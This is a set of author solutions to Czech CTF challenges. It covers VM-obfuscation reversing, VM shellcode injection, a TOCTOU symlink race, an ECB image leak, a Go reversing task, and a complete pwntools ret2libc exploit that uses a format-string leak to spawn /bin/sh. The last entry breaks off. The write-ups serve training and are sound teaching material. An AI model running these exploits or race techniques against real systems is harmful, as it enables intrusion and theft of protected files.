something different. First code that somehow differs from just IO operations is the following:\nmovi A, 0x0 movi D, 0x1c memld B, A # B = memory[0] memld C, D # C = memory[28] memov D, B # memory[28] = B = memory[0] memov A, C # memory[0] = C = memory[28] addi A, 0x1 sub D, 0x1 memld B, A # B = memory[1] memld C, D # C = memory[27] memov D, B # memory[27] = B = memory[1] memov A, C # memory[1] = C = memory[27] addi A, 0x1 sub D, 0x1 memld B, A memld C, D memov D, B memov A, C addi A, 0x1 sub D, 0x1 ... It seems like our input is being reversed.\nThere is another thing that mangles the input and by if we look at the decompilation (or simply the symbols), we see that there are functions xor and xori.\nNow, let\u0026rsquo;s look for xor in the VM code and find what\u0026rsquo;s being xored there.\nmovi B, 0xa xor A, B # xor register A with value in B = 0xa movi B, 0x0 memov B, A # memory[0] = A ^ 0xa movi A, 0x0 movi B, 0x1 memld C, A memld D, B # first and second characters are loaded into A, B (but because the flag is already reversed, they are actually the last and the one before the last) xor C, D memov B, C # memory[1] = memory[0] ^ memory[1] addi A, 0x1 addi B, 0x1 memld C, A memld D, B xor C, D memov B, C # memory[2] = memory[1] ^ memory[2] addi A, 0x1 addi B, 0x1 memld C, A memld D, B xor C, D This means that the input is after reversing mangled by something like the following formula:\nreversed_input[0] ^= 0xa mangled_input = reversed_input[0] + [reversed_input[i] ^ reversed_input[i + 1] for i in range(28)] Now, we know that the flag is reversed and xored, we can find out the correct value for the input and solve the challenge. The only thing we need now is the mangled flag.\nIf we look at the start of the code, the flag is probably being loaded at the start of the program into memory at position 0x60-0x7c (it\u0026rsquo;s 0x7c - 0x60 = 28 =\u0026gt; 29 characters):\nmemovi 0x60, 0x77 memovi 0x61, 0x19 memovi 0x62, 0x29 memovi 0x63, 0x18 memovi 0x64, 0x6c memovi 0x65, 0x58 memovi 0x66, 0x3b memovi 0x67, 0xc memovi 0x68, 0x79 memovi 0x69, 0x1f memovi 0x6a, 0x7d memovi 0x6b, 0x4d memovi 0x6c, 0x12 memovi 0x6d, 0x7f memovi 0x6e, 0x9 memovi 0x6f, 0x56 memovi 0x70, 0x22 memovi 0x71, 0x43 memovi 0x72, 0x70 memovi 0x73, 0x12 memovi 0x74, 0x4d memovi 0x75, 0x38 memovi 0x76, 0x8 memovi 0x77, 0x71 memovi 0x78, 0xa memovi 0x79, 0x6d memovi 0x7a, 0xc memovi 0x7b, 0x60 memovi 0x7c, 0x6 memovi 0x0, 0x54 # moving the values for the write memovi 0x1, 0x68 memovi 0x2, 0x69 memovi 0x3, 0x73 ... Therefore the following code should produce the flag:\nmflag = [0x77, 0x19, 0x29, 0x18, 0x6c, 0x58, 0x3b, 0xc, 0x79, 0x1f, 0x7d, 0x4d, 0x12, 0x7f, 0x9, 0x56, 0x22, 0x43, 0x70, 0x12, 0x4d, 0x38, 0x8, 0x71, 0xa, 0x6d, 0xc, 0x60, 0x6] flag = [mflag[0] ^ 0xa] flag += [mflag[i] ^ mflag[i + 1] for i in range(28)] print(f\u0026#39;{\u0026#34;\u0026#34;.join([chr(ch) for ch in flag[::-1]])}\u0026#39;) flag{y0u_b3at_vm_0bfu7c4t10n}\n","date":"14. listopadu 2024","permalink":"https://kybercvicna.cz/reseni-uloh/vm-time-a-autorske-reseni/","section":"Řešení úloh","summary":"","title":"VM Time A - Autorské řešení úlohy"},{"content":"We\u0026rsquo;ve got apparently another program which uses vm obfuscation. We can use the disassembler.py (from the previous challenge, we need to change the opcodes, but this shouldn\u0026rsquo;t be too difficult) to get back the code:\n./disassembler.py \u0026lt;compiled_a3code\u0026gt; We can for example take the code bytes from Ghidra or gdb:\n\\x40\\x00\\x57\\x40\\x01\\x65\\x40\\x02\\x6c\\x40\\x03\\x63\\x40\\x04\\x6f\\x40\\x05\\x6d\\x40\\x06\\x65\\x40\\x07\\x20\\x40\\x08\\x69\\x40\\x09\\x6e\\x40\\x0a\\x20\\x40\\x0b\\x45\\x40\\x0c\\x74\\x40\\x0d\\x65\\x40\\x0e\\x72\\x40\\x0f\\x6e\\x40\\x10\\x61\\x40\\x11\\x6c\\x40\\x12\\x20\\x40\\x13\\x47\\x40\\x14\\x72\\x40\\x15\\x65\\x40\\x16\\x65\\x40\\x17\\x74\\x40\\x18\\x65\\x40\\x19\\x72\\x40\\x1a\\x2e\\x40\\x1b\\x20\\x40\\x1c\\x49\\x40\\x1d\\x74\\x40\\x1e\\x20\\x40\\x1f\\x69\\x40\\x20\\x73\\x40\\x21\\x20\\x40\\x22\\x77\\x40\\x23\\x72\\x40\\x24\\x69\\x40\\x25\\x74\\x40\\x26\\x74\\x40\\x27\\x65\\x40\\x28\\x6e\\x40\\x29\\x20\\x40\\x2a\\x69\\x40\\x2b\\x6e\\x40\\x2c\\x20\\x40\\x2d\\x74\\x40\\x2e\\x68\\x40\\x2f\\x65\\x40\\x30\\x20\\x40\\x31\\x41\\x40\\x32\\x33\\x40\\x33\\x20\\x40\\x34\\x63\\x40\\x35\\x6f\\x40\\x36\\x64\\x40\\x37\\x65\\x40\\x38\\x20\\x40\\x39\\x61\\x40\\x3a\\x6e\\x40\\x3b\\x64\\x40\\x3c\\x20\\x40\\x3d\\x69\\x40\\x3e\\x74\\x40\\x3f\\x20\\x40\\x40\\x69\\x40\\x41\\x73\\x40\\x42\\x20\\x40\\x43\\x63\\x40\\x44\\x6f\\x40\\x45\\x6d\\x40\\x46\\x70\\x40\\x47\\x6c\\x40\\x48\\x65\\x40\\x49\\x74\\x40\\x4a\\x65\\x40\\x4b\\x6c\\x40\\x4c\\x79\\x40\\x4d\\x20\\x40\\x4e\\x73\\x40\\x4f\\x61\\x40\\x50\\x66\\x40\\x51\\x65\\x40\\x52\\x21\\x40\\x53\\x0a\\x40\\x54\\x50\\x40\\x55\\x6c\\x40\\x56\\x65\\x40\\x57\\x61\\x40\\x58\\x73\\x40\\x59\\x65\\x40\\x5a\\x20\\x40\\x5b\\x65\\x40\\x5c\\x6e\\x40\\x5d\\x74\\x40\\x5e\\x65\\x40\\x5f\\x72\\x40\\x60\\x20\\x40\\x61\\x79\\x40\\x62\\x6f\\x40\\x63\\x75\\x40\\x64\\x72\\x40\\x65\\x20\\x40\\x66\\x6e\\x40\\x67\\x61\\x40\\x68\\x6d\\x40\\x69\\x65\\x40\\x6a\\x3a\\x40\\x6b\\x0a\\x60\\x22\\x01\\x60\\x23\\x00\\x60\\x24\\x6c\\x21\\x69\\x00\\x60\\x22\\x00\\x60\\x23\\xff\\x11\\x23\\x01\\x60\\x24\\xff\\x11\\x24\\xff\\x11\\x24\\x02\\x21\\x68\\x00\\x40\\x00\\x48\\x40\\x01\\x65\\x40\\x02\\x6c\\x40\\x03\\x6c\\x40\\x04\\x6f\\x40\\x05\\x2c\\x40\\x06\\x20\\x60\\x22\\x01\\x60\\x23\\x00\\x60\\x24\\x07\\x21\\x69\\x00\\x60\\x22\\x01\\x60\\x23\\xff\\x11\\x23\\x01\\x60\\x24\\xff\\x11\\x24\\x01\\x21\\x69\\x00 The disassembler output:\nmemovi 0x0, 0x57 memovi 0x1, 0x65 memovi 0x2, 0x6c memovi 0x3, 0x63 memovi 0x4, 0x6f memovi 0x5, 0x6d memovi 0x6, 0x65 memovi 0x7, 0x20 memovi 0x8, 0x69 memovi 0x9, 0x6e memovi 0xa, 0x20 memovi 0xb, 0x45 memovi 0xc, 0x74 memovi 0xd, 0x65 memovi 0xe, 0x72 memovi 0xf, 0x6e memovi 0x10, 0x61 memovi 0x11, 0x6c memovi 0x12, 0x20 memovi 0x13, 0x47 memovi 0x14, 0x72 memovi 0x15, 0x65 memovi 0x16, 0x65 memovi 0x17, 0x74 memovi 0x18, 0x65 memovi 0x19, 0x72 memovi 0x1a, 0x2e memovi 0x1b, 0x20 memovi 0x1c, 0x49 memovi 0x1d, 0x74 memovi 0x1e, 0x20 memovi 0x1f, 0x69 memovi 0x20, 0x73 memovi 0x21, 0x20 memovi 0x22, 0x77 memovi 0x23, 0x72 memovi 0x24, 0x69 memovi 0x25, 0x74 memovi 0x26, 0x74 memovi 0x27, 0x65 memovi 0x28, 0x6e memovi 0x29, 0x20 memovi 0x2a, 0x69 memovi 0x2b, 0x6e memovi 0x2c, 0x20 memovi 0x2d, 0x74 memovi 0x2e, 0x68 memovi 0x2f, 0x65 memovi 0x30, 0x20 memovi 0x31, 0x41 memovi 0x32, 0x33 memovi 0x33, 0x20 memovi 0x34, 0x63 memovi 0x35, 0x6f memovi 0x36, 0x64 memovi 0x37, 0x65 memovi 0x38, 0x20 memovi 0x39, 0x61 memovi 0x3a, 0x6e memovi 0x3b, 0x64 memovi 0x3c, 0x20 memovi 0x3d, 0x69 memovi 0x3e, 0x74 memovi 0x3f, 0x20 memovi 0x40, 0x69 memovi 0x41, 0x73 memovi 0x42, 0x20 memovi 0x43, 0x63 memovi 0x44, 0x6f memovi 0x45, 0x6d memovi 0x46, 0x70 memovi 0x47, 0x6c memovi 0x48, 0x65 memovi 0x49, 0x74 memovi 0x4a, 0x65 memovi 0x4b, 0x6c memovi 0x4c, 0x79 memovi 0x4d, 0x20 memovi 0x4e, 0x73 memovi 0x4f, 0x61 memovi 0x50, 0x66 memovi 0x51, 0x65 memovi 0x52, 0x21 memovi 0x53, 0xa memovi 0x54, 0x50 memovi 0x55, 0x6c memovi 0x56, 0x65 memovi 0x57, 0x61 memovi 0x58, 0x73 memovi 0x59, 0x65 memovi 0x5a, 0x20 memovi 0x5b, 0x65 memovi 0x5c, 0x6e memovi 0x5d, 0x74 memovi 0x5e, 0x65 memovi 0x5f, 0x72 memovi 0x60, 0x20 memovi 0x61, 0x79 memovi 0x62, 0x6f memovi 0x63, 0x75 memovi 0x64, 0x72 memovi 0x65, 0x20 memovi 0x66, 0x6e memovi 0x67, 0x61 memovi 0x68, 0x6d memovi 0x69, 0x65 memovi 0x6a, 0x3a memovi 0x6b, 0xa movi B, 0x1 movi C, 0x0 movi D, 0x6c syscall 0x69, N movi B, 0x0 movi C, 0xff addi C, 0x1 movi D, 0xff addi D, 0xff addi D, 0x2 syscall 0x68, N memovi 0x0, 0x48 memovi 0x1, 0x65 memovi 0x2, 0x6c memovi 0x3, 0x6c memovi 0x4, 0x6f memovi 0x5, 0x2c memovi 0x6, 0x20 movi B, 0x1 movi C, 0x0 movi D, 0x7 syscall 0x69, N movi B, 0x1 movi C, 0xff addi C, 0x1 movi D, 0xff addi D, 0x1 syscall 0x69, N By looking at the output we can see that it first prints some text, then reads user input, and then prints again. What\u0026rsquo;s more, the program runs in an infinite loop, as the name suggests. When we look at the disassembly closer, we can see some weird addition before calling the syscalls. The read syscall reads 512 bytes from stdin to memory at offset of 256. Jumping back to Ghidra, or anything we want to use, we can see that the program saves the code which is being called in memory + 512 (executable_memory in main.cpp).\nBecause we can write 512 bytes to memory + 256, we can overwrite the executable_memory to achieve full control of the program by writing our own shellcode.\nThe shellcode needs to do the following:\nfd = open(\u0026#34;flag\u0026#34;, 0x0); read(fd, memory, whatever_the_length_of_the_flag_is_or_more); write(STDOUT, memory, whatever_the_length_of_the_flag_is_or_more); // Eventually exit exit(exit_code); Because we are already familiar with the code, this should not be too complicated:\nmemovi 0x0, 102 memovi 0x1, 108 memovi 0x2, 97 memovi 0x3, 103 # move the flag to memory at 0x0 memovi 0x4, 0x0 # we must not forget to terminate the string properly, otherwise the open will not work movi B, 0x0 syscall 0x70 N # open mov B, A # move the fd of flag to B movi C, 0x0 movi D, 0x40 syscall 0x68 N # read movi B, 0x1 # stdout movi C, 0x0 movi D, 0x40 syscall 0x69 N # write movi B, 0x42 syscall 0x71 N # exit We can either write a compiler or assemble it by hand:\n\\x04\\x00\\x66\\x04\\x01\\x6c\\x04\\x02\\x61\\x04\\x03\\x67\\x04\\x04\\x00\\x06\\x12\\x00\\x12\\x70\\x00\\x42\\x12\\x11\\x06\\x13\\x00\\x06\\x14\\x40\\x12\\x68\\x00\\x06\\x12\\x01\\x06\\x13\\x00\\x06\\x14\\x40\\x12\\x69\\x00\\x06\\x12\\x42\\x12\\x71\\x00 Now we just write the exploit, we can use pwntools in order to communicate with the process. The full exploit is in e.py.\n$ ./e.py a [+] Opening connection to localhost on port 8080: Done [*] Switching to interactive mode Welcome in Eternal Greeter. It is written in the A3 code and it is completely safe! Please enter your name: Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflag{y0u_m4st3red_a3_sh311c0ding} written in the A3 code and it [*] Got EOF while reading in interactive $ Note: The opcodes for instructions and registers in a3 code change for each challenge, but finding them should be a thing of negligible difficulty, so I don\u0026rsquo;t describe it here.\n","date":"14. listopadu 2024","permalink":"https://kybercvicna.cz/reseni-uloh/vm-time-b-autorske-reseni/","section":"Řešení úloh","summary":"","title":"VM Time B - Autorské řešení úlohy"},{"content":"Finding the password from the md5 hash is trivial, just go to the first md5 decrypt site (e.g. https://hashes.com/en/decrypt/hash) and it will find it (it\u0026rsquo;s the notoriously well-known \u0026ldquo;letmein\u0026rdquo;).\nWe\u0026rsquo;ve once again got a binary that seems to emulate custom architecture. This time, when we run it, it asks for a filename, then it performs a check if the file does not contain the string \u0026ldquo;flag\u0026rdquo; (in the first line to be exact) and then allows us to write to that file.\n__libc_open64(file=0x7fffffffc580 \u0026#34;test\u0026#34;, oflag=0x2=O_RDWR) However, we can see that the file is opened with O_RDWR flags, which means that if we got access to the fd of the opened file, we would be able to read from it. At first glance, this does not seem to help us much. We still cannot open the file which contains the flag, because the program checks if the file contains the string \u0026ldquo;flag\u0026rdquo;.\nFortunately, we can bypass this check using a simple race condition, or TOCTOU (time of check, time of use vulnerability). We can read more about race conditions for example here: https://www.geeksforgeeks.org/race-condition-vulnerability/\nThe main point is that if we are able to first have the program open a file which does not contain the flag and then rename the flag (or rather a symlink to it) to name of that file, after the condition is checked, but before the program opens the file for the custom code, we can make the program open the flag.\nExample:\nln -s flag flag_link filename = \u0026#34;file\u0026#34; // file does not contain the string \u0026#34;flag\u0026#34; program checks if the file contains \u0026#34;flag\u0026#34; =\u0026gt; the file does not contain \u0026#34;flag\u0026#34; =\u0026gt; program continues execution mv flag_link file program opens the file // however, the file now is a symlink to flag Note that this happens very quickly, so we\u0026rsquo;ll have to automate it and even then it won\u0026rsquo;t probably pass at the first try.\nNow, let\u0026rsquo;s find out how to read the opened file. From strace we can see that when the program asks for file content, it reads 2048 bytes. However, the offset of executable memory is only 512 bytes. This means that we can, as in the previous level, overwrite the code.\nThere is also a problem that we need to get to just the right instruction which is currently being executed, because the program exits (which the previous one did not). We can determine the offset by debugging in gdb or whatever we want to use.\nThe full exploit is in ./e.py. To run the exploit, first we need to copy the files via ssh, for example using scp. If you want to compile the renameat2.s file yourself, you can run:\ngcc -static -nostdlib -o renameat2 renameat2.s Copy the files:\nscp renameat2 e.py scp://hacker@localhost:4242//home/hacker Install pwn:\npip install pwn Run the exploit:\n./e.py The program finishes in about a second (non-renameat2 methods will be slower, but still achievable within seconds, I just like to write asm rather than bash):\ntime ./e.py Linked flag_link to flag. Touched f. Started renameat2. ################################ flag{r4c1ng_f4st3r_7han_l1ght} ################################ Removed f. Removed flag_link. real 0.31s user 0.19s sys 0.21s cpu 130% time ./e.py Linked flag_link to flag. Touched f. Started renameat2. ################################ flag{r4c1ng_f4st3r_7han_l1ght} ################################ Removed f. Removed flag_link. real 0.28s user 0.21s sys 0.13s cpu 122% To check how many processes are opened set argv[1] = \u0026quot;info\u0026quot;, \u0026quot;debug\u0026quot; or nothing for no debug output. The program usually runs the chall once or twice in order to get the race condition (renameat2 is fast!):\n./e.py debug Linked flag_link to flag. Touched f. [+] Starting local process \u0026#39;./renameat2\u0026#39; argv=[b\u0026#39;./renameat2\u0026#39;] : pid 24310 Started renameat2. [+] Starting local process \u0026#39;./chall\u0026#39;: pid 24312 [DEBUG] Sent 0x1 bytes: b\u0026#39;f\u0026#39; [DEBUG] Sent 0x40a bytes: 00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│ * 000003e0 42 42 42 42 42 42 42 42 42 42 42 42 31 23 26 75 │BBBB│BBBB│BBBB│1#\u0026amp;u│ 000003f0 24 00 75 25 40 01 68 00 75 23 01 75 24 00 31 25 │$·u%│@·h·│u#·u│$·1%│ 00000400 22 01 69 00 75 23 42 01 71 00 │\u0026#34;·i·│u#B·│q·│ 0000040a [*] Process \u0026#39;./chall\u0026#39; stopped with exit code 0 (pid 24312) [+] Starting local process \u0026#39;./chall\u0026#39;: pid 24314 [DEBUG] Sent 0x1 bytes: b\u0026#39;f\u0026#39; [DEBUG] Sent 0x40a bytes: 00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│ * 000003e0 42 42 42 42 42 42 42 42 42 42 42 42 31 23 26 75 │BBBB│BBBB│BBBB│1#\u0026amp;u│ 000003f0 24 00 75 25 40 01 68 00 75 23 01 75 24 00 31 25 │$·u%│@·h·│u#·u│$·1%│ 00000400 22 01 69 00 75 23 42 01 71 00 │\u0026#34;·i·│u#B·│q·│ 0000040a [.] Receiving all data: 0B [+] Receiving all data: Done (170B)exit code 66 (pid 24314) [DEBUG] Received 0xaa bytes: b\u0026#39;This program allows you to write to a file that exists within /home/hacker and does not contain the flag!\\n\u0026#39; b\u0026#39;Enter the filename (max 16 characters): \\n\u0026#39; b\u0026#39;Enter the new content:\\n\u0026#39; [+] Starting local process \u0026#39;./chall\u0026#39;: pid 24317 [DEBUG] Sent 0x1 bytes: b\u0026#39;f\u0026#39; [DEBUG] Sent 0x40a bytes: 00000000 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 │BBBB│BBBB│BBBB│BBBB│ * 000003e0 42 42 42 42 42 42 42 42 42 42 42 42 31 23 26 75 │BBBB│BBBB│BBBB│1#\u0026amp;u│ 000003f0 24 00 75 25 40 01 68 00 75 23 01 75 24 00 31 25 │$·u%│@·h·│u#·u│$·1%│ 00000400 22 01 69 00 75 23 42 01 71 00 │\u0026#34;·i·│u#B·│q·│ 0000040a [◢] Receiving all data: 0B [+] Receiving all data: Done (201B)exit code 66 (pid 24317) [DEBUG] Received 0xc9 bytes: b\u0026#39;This program allows you to write to a file that exists within /home/hacker and does not contain the flag!\\n\u0026#39; b\u0026#39;Enter the filename (max 16 characters): \\n\u0026#39; b\u0026#39;Enter the new content:\\n\u0026#39; b\u0026#39;flag{r4c1ng_f4st3r_7han_l1ght}\\n\u0026#39; ################################ flag{r4c1ng_f4st3r_7han_l1ght} ################################ Removed f. Removed flag_link. [*] Stopped process \u0026#39;./renameat2\u0026#39; (pid 24310) Note 1.0: If the filesystem or kernel does not support the renameat2 syscall (it\u0026rsquo;s relatively new), we can still do it normally either using bash or with python. If python happens to be too slow, we can use more threads. It is always possible to slow down the program in other ways - using large files/long paths/running a lot of other processes (the kernel will do more context switches as it doesn\u0026rsquo;t have unlimited cores =\u0026gt; higher chance of hitting the race condition)/doing magic with pipes and dup2.\nNote 2.0: We can use scp to copy the files from local machine to the ssh server:\nscp renameat2 scp://hacker@\u0026lt;server_ip\u0026gt;//home/hacker/renameat2 Note 3.0: The fact that there\u0026rsquo;s Python interpreter installed on the remote machine isn\u0026rsquo;t mentioned in the instructions, however, I think it is something that one can easily check. Unfortunately, I cannot say this objectively, since I\u0026rsquo;ve written the Dockerfile to install Python and I know about its presence there. With that being said, it is always possible to write your solution in a compiled language and just copy the binary. I added Python just because it was (probably) used for the previous exploits and it makes writing exploits easier.\nNote 4.0: With the current implementation, I see no way of preserving the intended race condition and simultaneously blocking the race condition that occurs between the canonical check and opening the file (an attacker could create a legit file and after checks for either canonical or hard link just change that file to be a symlink/hardlink to /etc/shadow and the program will gladly open it). Personally, I believe there will be some people who will do this, but since it also explores the concept of TOCTOU (in even more realistic environment), I won\u0026rsquo;t spend too much time trying to correct it. However, if any of the testers suggests a working approach, I\u0026rsquo;ll implement it.\nNote 5.0: The opcodes for instructions and registers in a3 code change for each challenge, but finding them should be a thing of negligible difficulty, so I don\u0026rsquo;t describe it here.\n","date":"14. listopadu 2024","permalink":"https://kybercvicna.cz/reseni-uloh/vm-time-c-autorske-reseni/","section":"Řešení úloh","summary":"","title":"VM Time C - Autorské řešení úlohy"},{"content":"We\u0026rsquo;ve got an encrypted file flag.ppm.enc. According to the task instructions, the file was encrypted using AES-256-ECB.\nKnowing that ECB isn\u0026rsquo;t very safe when it comes to uncompressed images (such as .ppm), we can exploit this. Because ECB encrypts each block using the same process, in large files like images this kind of behaviour can expose some patterns.\nTherefore, we need to open the file. This is obviously not possible with its current state, since the file doesn\u0026rsquo;t have the metadata such as dimensions or colour depth.\nWe can use, for instance GIMP, to create these metadata for us by creating an empty image (./solve/metadata.ppm). Then we need to transfer these metadata to the ./solve/flag.ppm.enc file:\ncd ./solve head -c 63 metadata.ppm \u0026gt; tmp # Save first 62 chars of test.ppm (the metadata + \u0026#39;\\n\u0026#39;) (cat tmp; dd if=flag.ppm.enc bs=1 skip=63) \u0026gt; flag.ppm # Prepend the contents of tmp to flag.ppm.enc and write to tmp_out Now we should be able to open the file flag.ppm.enc normally:\nopen ./solve/flag.ppm.enc Of course, the file dimensions don\u0026rsquo;t have to be always 1920x2560 (even though they are default in most graphic image manipulation apps). In that case we can either try some common sizes or write a short script which tries multiple values of x and y.\n","date":"3. listopadu 2024","permalink":"https://kybercvicna.cz/reseni-uloh/lost-document-autorske-reseni/","section":"Řešení úloh","summary":"","title":"Lost document - Autorské řešení úlohy"},{"content":"Solution #Hned jednoduchou základní analýzou lze zjistit, že program by nejspíše napsán v jazyce Go. Tohle nám trochu znepříjemní život, jelikož dekompilace Go programů většinou nedopadá pěkně. Naneštěstí jiné možnosti moc nejsou\u0026hellip; Na druhou stranu se alespoň nejedná o stripped program, takže máme alespoň nějaké informace o symbolech.\nPo dekompilaci lze poměrně jednoduše najít, že se v programu vyskytuje pole čísel označované jako main.expected a delka našeho vstupu se musí rovnat délce toho pole (= 22). Dále zde máme funkci main.measure(), která bere jako vstup kanál (= Go konstrukt pro předávání hodnot), index a char (a název těchto dvou proměnných je poměrně vypovídající). Tato funkce je poměrně jednoduchá - nejdříve zjistí čas, pak se uspí na dobu závislou na char, zjistí čas znovu a výsledek je rozdíl naměřených časů vrácených přes vstupní kanál (zabalených ve struktuře main.measureOutput).\nNyní zbývá už \u0026ldquo;jen\u0026rdquo; pořádně zanalyzovat main.main(). Když se pokusíme odignorovat balast kolem a pokusíme se na to koukat z nadhledem (např. přes nějaký \u0026ldquo;graph view\u0026rdquo; v dekompilačním programu), můžeme vidět 3 smyčky, jejichž účel lze tipnout z nějakých význačných funkcí:\nPrvní primárně volá \u0026ldquo;interní\u0026rdquo; Go funkci runtime.newproc(), která nejspíše má za následek volání main.measure() (nepřímo přes main.main.func1(), na kterou je ve smyčce reference) Ve druhé smyčce se opakovaně volá runtime.chanrecv1(), můžeme předpokládat, že přijimá data vrácená/poslaná funkcí main.measure() a ukládá je očividně do nějakého bufferu Poslední cyklus obsahuje nějaké porovnávání na základě kterého modifikuje proměnnou, která pak po ukončení cyklu určuje, která zpráva o správnosti vlajky/vstupu se zobrazí; Toto porovnávání porovnává pole main.expected s hodnotami pocházejícími (nejspíše) z předchozího cyklu Když si celého toto shrneme, můžeme tušit, že náš vstup se postupně pošle do funkce main.measure() a následně se porovná s main.expected. Není tedy nic jednoduššího než zkusit vzít tyto hodnoty a zkusit z nich rekonstruovat správný vstup - všechny hodnoty vydělíme konstantou z main.measure() kterou se násobí vstupní proměnná char (= 4500000) a převedeme znaky\u0026hellip; To se nám ale nepodaří, protože 4500000 je moc veliké číslo a po dělení je vše 0. Znovu kouknutím do main.measure() zjistíme, že se výsledné hodnoty dělí 1000, takže chceme ve skutečnosti dělit dělitelem 4500. S tím už uspějeme a dosteneme vlajku HCKR{n0_T1m3_T0_w4ST3}.\nExploit script #Pro úplnost přikládám i velice primitivní Python skript který spočítá správnou vlajku z extrahovaných hodnot.\nexpected = [ 0x4F376, 0x49AA9, 0x5270C, 0x5A314, 0x87221, 0x78E9D, 0x34C98, 0x68811, 0x5C50F, 0x35E28, 0x77E27, 0x381BA, 0x68606, 0x5C57A, 0x34E55, 0x6873C, 0x82EE5, 0x393C9, 0x5B3BA, 0x5C789, 0x38254, 0x897DF, ] for x in expected: print(chr(x // 4500), end=\u0026#34;\u0026#34;) ","date":"20. března 2024","permalink":"https://kybercvicna.cz/reseni-uloh/let-s-go-autorske-reseni/","section":"Řešení úloh","summary":"","title":"Let's go - Autorské řešení úlohy"},{"content":"Finálové kolo osmého ročníku Kybersoutěže, národní soutěže ČR v kybernetické bezpečnosti.\n","date":null,"permalink":"https://kybercvicna.cz/ctfs/nskb8-finale/","section":"Soutěže","summary":"","title":"NSKB 8 - Finále"},{"content":"Druhé kolo osmého ročníku Kybersoutěže, národní soutěže ČR v kybernetické bezpečnosti.\n","date":null,"permalink":"https://kybercvicna.cz/ctfs/nskb8-2kolo/","section":"Soutěže","summary":"","title":"NSKB 8 - 2. kolo"},{"content":"Solution #Typical ret2libc attack using format string bug for address leaks.\nExploit script #An example exploit is provided. By default exploits localhost on port 9999. This can be very easily customized using the HOST and PORT arguments.\nNOTE: The exploit requires the pwntools library.\n#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template --host localhost --port 9999 ../src/chall from pwn import * # Set up pwntools for the correct architecture exe = context.binary = ELF(args.EXE or \u0026#39;../handout/chall\u0026#39;) libc = ELF(args.LIBC or \u0026#39;../handout/libc.so.6\u0026#39;) # Many built-in settings can be controlled on the command-line and show up # in \u0026#34;args\u0026#34;. For example, to dump all data sent/received, and disable ASLR # for all created processes... # ./exploit.py DEBUG NOASLR # ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable host = args.HOST or \u0026#39;localhost\u0026#39; port = int(args.PORT or 9999) def start_local(argv=[], *a, **kw): \u0026#39;\u0026#39;\u0026#39;Execute the target binary locally\u0026#39;\u0026#39;\u0026#39; if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def start_remote(argv=[], *a, **kw): \u0026#39;\u0026#39;\u0026#39;Connect to the process on the remote host\u0026#39;\u0026#39;\u0026#39; io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): \u0026#39;\u0026#39;\u0026#39;Start the exploit against the target.\u0026#39;\u0026#39;\u0026#39; if args.LOCAL: return start_local(argv, *a, **kw) else: return start_remote(argv, *a, **kw) # Specify your GDB script here for debugging # GDB will be launched if the exploit is run via e.g. # ./exploit.py GDB gdbscript = \u0026#39;\u0026#39;\u0026#39; tbreak main continue \u0026#39;\u0026#39;\u0026#39;.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: Canary found # NX: NX enabled # PIE: PIE enabled io = start() \u0026#34;\u0026#34;\u0026#34; # stack canary offset %15$p # libc_start_main addr offset %17$p - addr of __libc_start_call_main+130 # leak libc base io.sendlineafter(b\u0026#39;\u0026gt; \u0026#39;, b\u0026#39;%15$p | %17$p\u0026#39;) leaks = io.recvline_contains(b\u0026#39; | \u0026#39;).split(b\u0026#39; | \u0026#39;) canary = int(leaks[0].split(b\u0026#34; \u0026#34;)[-1], 16) libc_start_main = int(leaks[1], 16) - 130 libc.address = libc_start_main - 171278 #- libc.sym[\u0026#34;__libc_start_main\u0026#34;] - 192 success(f\u0026#34;canary: {hex(canary)}\u0026#34;) success(f\u0026#34;libc_start_main: {hex(libc_start_main)}\u0026#34;) success(f\u0026#34;libc base: {hex(libc.address)}\u0026#34;) \u0026#34;\u0026#34;\u0026#34; # credits to JaGoTu for the exploit :) io.sendafter(b\u0026#39;\u0026gt;\u0026#39;, b\u0026#39;%3$p %15$p \u0026#39;.ljust(32, b\u0026#39;\\x00\u0026#39;)) io.recvuntil(b\u0026#39;0x\u0026#39;) libc_leak = int(io.recvuntil(b\u0026#39; \u0026#39;).strip(), 16) canary = int(io.recvuntil(b\u0026#39; \u0026#39;).strip(), 16) libc.address = libc_base = libc_leak - 0x114A77 print(hex(libc_leak)) print(hex(libc_base)) print(hex(canary)) BINSH = next(libc.search(b\u0026#34;/bin/sh\u0026#34;)) rop = ROP(libc) rop.raw(rop.ret) rop.system(BINSH) io.sendlineafter(b\u0026#39;\u0026gt;\u0026#39;, fit({0x6161746161617361: canary, 0x6161786161617761: rop.chain()}, length=128)) io.interactive() ","date":"1. listopadu 2023","permalink":"https://kybercvicna.cz/reseni-uloh/pelisky-autorske-reseni/","section":"Řešení úloh","summary":"","title":"Pelíšky - Autorské řešení úlohy"},{"content":"","date":null,"permalink":"https://kybercvicna.cz/authors/sijisu/","section":"Autoři","summary":"","title":"Sijisu"},{"content":"Solution #You can jump to any function in the binary in a loop. You know all the addresses because PIE is turned off. If you jump to the functions in the correct order so all the conditions are met, you can finally jump to moucha_ulovena which will print the flag.\nExploit script #An example exploit is provided. By default exploits localhost on port 9999. This can be very easily specified with the HOST and PORT arguments. Also when attacking the binary in a docker container, you must specify the correct binary with EXE=./chall.\nNOTE: The exploit requires the pwntools library.\n#!/usr/bin/env python3 # -*- coding: utf-8 -*- # This exploit template was generated via: # $ pwn template --host localhost --port 9999 ../src/chall from pwn import * # Set up pwntools for the correct architecture exe = context.binary = 